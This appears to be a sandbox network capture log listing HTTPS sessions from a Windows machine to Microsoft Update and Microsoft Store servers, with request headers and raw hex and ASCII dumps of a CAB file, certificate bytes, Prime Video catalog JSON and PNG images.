Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:57:09 UTC 10125 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:57:09 UTC 10141 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Session ID Source IP Source Port Destination IP
Destination
Port

Process

133 192.168.2.3 49861 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:09 UTC 10144 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
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2022-06-08 07:57:09 UTC 10145 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
MS-CorrelationId: 7f05afbe-0d08-487b-8d84-f1ff66649012
MS-RequestId: 9771f56b-dad7-412f-a570-67e93a00a6f3
MS-CV: rRa3wc8fu0qvzNjV.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:57:08 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:57:09 UTC 10145 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:57:09 UTC 10161 IN Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 
23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 
61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 
a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 
07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 
33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f 
e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 
Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>
7Go?j=

2022-06-08 07:57:09 UTC 10177 IN Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 
52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 
33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 
31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 3
1 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 0
3 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 
2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 
Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0|10UUS10
UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

134 192.168.2.3 49862 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:10 UTC 10180 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=AmazonVideo.PrimeVideo_pwbj9vvecjh7j&m
arket=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: 6FnDaZKSh0SJLCOK.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-06-08 07:57:10 UTC 10180 IN HTTP/1.1 200 OK
Connection: close
Date: Wed, 08 Jun 2022 07:57:09 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 95c7602c-73a0-491a-ae31-3172fd3a743c
MS-RequestId: a3c568ee-315b-4d80-9ed3-2d90864d26a3
MS-CV: 6FnDaZKSh0SJLCOK.0.2.4.1227128232.0.1.1227128232.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 7
Region: neu
Node: aks-bigcatrpns-32351330-vmss00000k
MS-DocumentVersions: 9P6RC76MSMMJ|1555

2022-06-08 07:57:10 UTC 10181 IN Data Raw: 37 61 65 37 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 50 36 52 43 37 36 4d 53 4d 4d 4a 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 32 34 54 31 36 3a 30 36 3a 30 36 2e 36 32 36 38 34 37 
31 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 34 31 32 33 35 38 37 38 39 32 37 
35 39 32 38 38 32 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
Data Ascii: 7ae7{"BigIds":["9P6RC76MSMMJ"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-05-24T16
:06:06.6268471Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3041235878927592882","EISListingIdentifier
":null,"BackgroundColor":"transpare
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2022-06-08 07:57:10 UTC 10184 IN Data Raw: 39 30 35 2e 62 66 64 63 65 66 34 62 2d 39 36 62 65 2d 34 31 62 36 2d 62 65 38 65 2d 35 66 61 39 34 61 31 
34 33 36 38 31 2e 38 31 36 62 34 65 61 38 2d 66 65 37 38 2d 34 65 66 30 2d 61 30 35 64 2d 64 32 64 62 36 35 39 38 34 
66 32 61 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 34 38 33 30 35 34 33 36 35 
32 36 39 32 39 34 39 37 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 
42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 
3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 30 30 33 36 2c 22 46 6f 72 65 67 72 6f 75 6e 64 
43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 22 49 
Data Ascii: 905.bfdcef4b-96be-41b6-be8e-5fa94a143681.816b4ea8-fe78-4ef0-a05d-d2db65984f2a","Width":66},{"FileI
d":"3048305436526929497","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInB
ytes":10036,"ForegroundColor":"","Height":88,"I

2022-06-08 07:57:10 UTC 10188 IN Data Raw: 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 
72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 
46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 33 39 38 38 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 
22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 
22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 4
8 41 32 35 36 48 61 73 68 22 3a 22 6a 4c 75 4f 74 76 78 30 50 6b 6a 76 75 71 59 75 6a 5a 35 78 56 46 33 50 61 67 71 
51 66 59 6e 76 6c 36 76 44 58 4f 66 51 44 7a 59 3d 22 2c 22 55 72 69 
Data Ascii: ,"EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":139885,"Foregrou
ndColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"jLuOtvx0Pkjvu
qYujZ5xVF3PagqQfYnvl6vDXOfQDzY=","Uri

2022-06-08 07:57:10 UTC 10192 IN Data Raw: 30 31 37 34 31 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 
22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 
22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 30 39 31 39 33 31 2c 22 46 6f 72 65 67 72 6f 
75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 37 36 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 
49 6e 66 6f 22 3a 22 44 65 73 6b 74 6f 70 2f 37 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 
73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 46 6f 45 6a 51 53 4
3 33 41 4c 72 77 68 70 58 41 6f 77 37 35 4c 66 47 62 38 53 54 43 
Data Ascii: 01741","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":1091931,"F
oregroundColor":"","Height":768,"ImagePositionInfo":"Desktop/7","ImagePurpose":"Screenshot","UnscaledImageSHA2
56Hash":"FoEjQSC3ALrwhpXAow75LfGb8STC

2022-06-08 07:57:10 UTC 10196 IN Data Raw: 6a 39 76 76 65 63 6a 68 37 6a 22 2c 22 50 61 63 6b 61 67 65 49 64 65 6e 74 69 74 79 4e 61 6d 65 22 3a 22 
41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 22 2c 22 50 75 62 6c 69 73 68 65 72 43 65 72 74 69 66 
69 63 61 74 65 4e 61 6d 65 22 3a 22 43 4e 3d 43 41 46 43 34 36 46 37 2d 31 37 38 35 2d 34 44 32 32 2d 38 38 34 33 2d 
36 32 42 42 32 33 45 39 39 41 43 45 22 2c 22 58 62 6f 78 43 72 6f 73 73 47 65 6e 53 65 74 49 64 22 3a 6e 75 6c 6c 2c 2
2 58 62 6f 78 43 6f 6e 73 6f 6c 65 47 65 6e 4f 70 74 69 6d 69 7a 65 64 22 3a 6e 75 6c 6c 2c 22 58 62 6f 78 43 6f 6e 73 6f 
6c 65 47 65 6e 43 6f 6d 70 61 74 69 62 6c 65 22 3a 6e 75 6c 6c 7d 2c 22 41 6c 74 65 72 6e 61 74 65 49 64 73 22 3a 5b 7
b 22 49 64 54 79 70 65 22 3a 22 4c 65 67 61 63 79 57 69 6e 64 6f 
Data Ascii: j9vvecjh7j","PackageIdentityName":"AmazonVideo.PrimeVideo","PublisherCertificateName":"CN=CAFC46F7-
1785-4D22-8843-62BB23E99ACE","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGe
nCompatible":null},"AlternateIds":[{"IdType":"LegacyWindo

2022-06-08 07:57:10 UTC 10200 IN Data Raw: 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 
31 2e 30 2e 39 39 2e 30 5f 78 38 36 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 
64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 39 2e 30 5f 78 36 34 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 
37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 39 2e 30 5f 61 
72 6d 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 
66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 41 6d 61 7a 6f 6e 56 69 64 
65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 39 
Data Ascii: ackages\":[\"AmazonVideo.PrimeVideo_1.0.99.0_x86__pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.99.
0_x64__pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.99.0_arm__pwbj9vvecjh7j\"],\"content.isMain\":false,\"cont
ent.packageId\":\"AmazonVideo.PrimeVideo_1.0.99

2022-06-08 07:57:10 UTC 10204 IN Data Raw: 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 
30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 43 6f 72 65 22 7d 5d 7d 2c 22 45 6e 64 
44 61 74 65 22 3a 22 39 39 39 38 2d 31 32 2d 33 30 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 52 
65 73 6f 75 72 63 65 53 65 74 49 64 73 22 3a 5b 22 31 22 5d 2c 22 53 74 61 72 74 44 61 74 65 22 3a 22 31 37 35 33 2d 
30 31 2d 30 31 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 7d 2c 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 
44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 32 34 54 31 36 3a 30 36 3a 30 36 2e 36 33 35 38 34 34 34 5a 22 2c 22 4c 
69 63 65 6e 73 69 6e 67 44 61 74 61 22 3a 7b 22 53 61 74 69 73 66 79 69 
Data Ascii: MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Core"}]},"EndDate":"9998-12-30T00:00
:00.0000000Z","ResourceSetIds":["1"],"StartDate":"1753-01-01T00:00:00.0000000Z"},"LastModifiedDate":"2022-05-2
4T16:06:06.6358444Z","LicensingData":{"Satisfyi

2022-06-08 07:57:10 UTC 10208 IN Data Raw: 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 
62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 
62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 
69 64 65 6f 5f 31 2e 30 2e 39 39 2e 30 5f 78 38 36 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 
7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 39 2e 30 5f 78 36 34 5f 5f 70 77 62 6a 39 76 
76 65 63 6a 68 37 6a 5c 22 2c 5c 22 41 6d 61 7a 6f 6e 56 69 64 65 6f 2e 50 72 69 6d 65 56 69 64 65 6f 5f 31 2e 30 2e 39 
39 2e 30 5f 61 72 6d 5f 5f 70 77 62 6a 39 76 76 65 63 6a 68 37 
Data Ascii: ,"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.bundledPackages\":[\"Am
azonVideo.PrimeVideo_1.0.99.0_x86__pwbj9vvecjh7j\",\"AmazonVideo.PrimeVideo_1.0.99.0_x64__pwbj9vvecjh7j\",\"Am
azonVideo.PrimeVideo_1.0.99.0_arm__pwbj9vvecjh7

2022-06-08 07:57:10 UTC 10212 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

14 192.168.2.3 49718 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:55 UTC 180 OUT GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-3
6ff7b9e590a?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:55 UTC 181 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 8756
Content-Type: image/png
Last-Modified: Tue, 31 Mar 2020 18:42:50 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTBFMkI5NzY"
MS-CV: LWC80YNOokeu7YAI.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:55 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:55 UTC 181 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
21 fb 49 44 41 54 78 da ed 9d 09 98 54 d5 99 bf bf 5a 7a 83 86 6e a0 51 76 94 55 1b d9 dd 45 23 46 8d 26 c4 a0 13 5c 
92 19 93 49 1c 9e ff df 99 c9 18 9d 24 2e 20 9a a8 33 79 cc 38 06 93 41 27 13 63 34 71 66 e2 02 ca 62 02 24 51 13 83 2c 
51 49 a2 a0 60 b3 08 08 0d d2 0d bd 56 75 f7 bd 53 55 5d 55 7d ea de 73 ee bd d5 dd 60 03 ef 3b cf 49 57 df a2 0a ba 93 
7a e7 fb 7e f7 bb e7 86 05 00 e0 18 21 cc af 00 00 10 16 00 00 c2 02 00 84 05 00 80 b0 00 00 10 16 00 20 2c 00 00 84 05 
00 80 b0 00 00 61 01 00 20 2c 00 00 84 05 00 08 0b 00 00 61 01 00 20 2c 00 40 58 00 00 08 0b 00 00 61 01 00 c2 02 00 
40 58 00 00 08 0b 00 10 16 00 00 c2 02 00 40 58 00 80 b0 00 00 10 
Data Ascii: PNGIHDR,,y}u!IDATxTZznQvUE#F&\I$. 3y8A'c4qfb$Q,QI`VuSU]U}s`;IWz~! ,a ,a ,@Xa@X@X

Session ID Source IP Source Port Destination IP
Destination
Port

Process

15 192.168.2.3 49719 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:55 UTC 180 OUT GET /image/apps.15982.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.7bbbe321-5273-45d0-814e-
74f2065197d3?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:55 UTC 190 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 10694
Content-Type: image/png
Last-Modified: Tue, 01 Feb 2022 21:30:36 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTYyODVDRjE"
MS-CV: PAMnN/lHQEOUOWN/.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:55 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:55 UTC 190 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 
41 00 00 b1 8f 0b fc 61 05 00 00 29 5b 49 44 41 54 78 01 ed 7d 0d 90 5c 57 75 e6 b9 3d d3 23 8d 46 3f 63 fd 44 48 76 8c 
fc 53 20 4b 62 ad c2 25 cb 36 c6 9a 18 ab 48 c8 c6 56 81 c5 8f b7 b2 04 9c 2d 07 f2 c7 b2 6c 42 76 81 88 ec 6e 6a ab 52 
21 b5 4b 6d a8 6c b1 05 ec 26 c1 65 b3 60 b4 1b e2 5d 17 68 a4 14 38 b6 a5 58 72 82 24 3b c2 92 65 21 59 d6 68 66 34 
33 dd 33 d3 dd ef dd 9c 7b ef 39 e7 9e fb 66 44 10 71 cf b4 e4 77 ec 56 bf 7e 3f f7 dd f7 de f7 ce f9 ce cf bd 03 50 4a 29 
a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 
Data Ascii: PNGIHDR0pHYssRGBgAMAa)[IDATx}\Wu=#F?cDHvS Kb%6HV-lBvnjR!Kml&e`]h8Xr$;e!Yhf433{9fDqwV~?PJ
)RJ)RJ)RJ)RJ)

Session ID Source IP Source Port Destination IP
Destination
Port

Process

16 192.168.2.3 49720 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:53:55 UTC 181 OUT GET /image/apps.64128.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.d58015ff-2fcf-4113-975b-
e873039b6d86?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:55 UTC 201 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 9564
Content-Type: image/png
Last-Modified: Fri, 19 Jun 2020 10:03:46 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MEU0RkE1MkY"
MS-CV: PTXdXnhlC0uTORe3.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:55 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:55 UTC 201 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
25 23 49 44 41 54 78 da ed 9d 69 8c 64 d7 75 df ff e7 be 57 5b 6f d3 b3 72 c6 1c 8a 22 c1 55 8e 15 c6 14 25 21 89 21 29 
92 62 38 40 12 04 d9 20 d8 81 13 01 71 e2 58 80 05 46 86 21 d1 0a 82 c4 0e 92 2f 8e 2c 41 66 90 0f 89 2c 89 4a 14 4b 
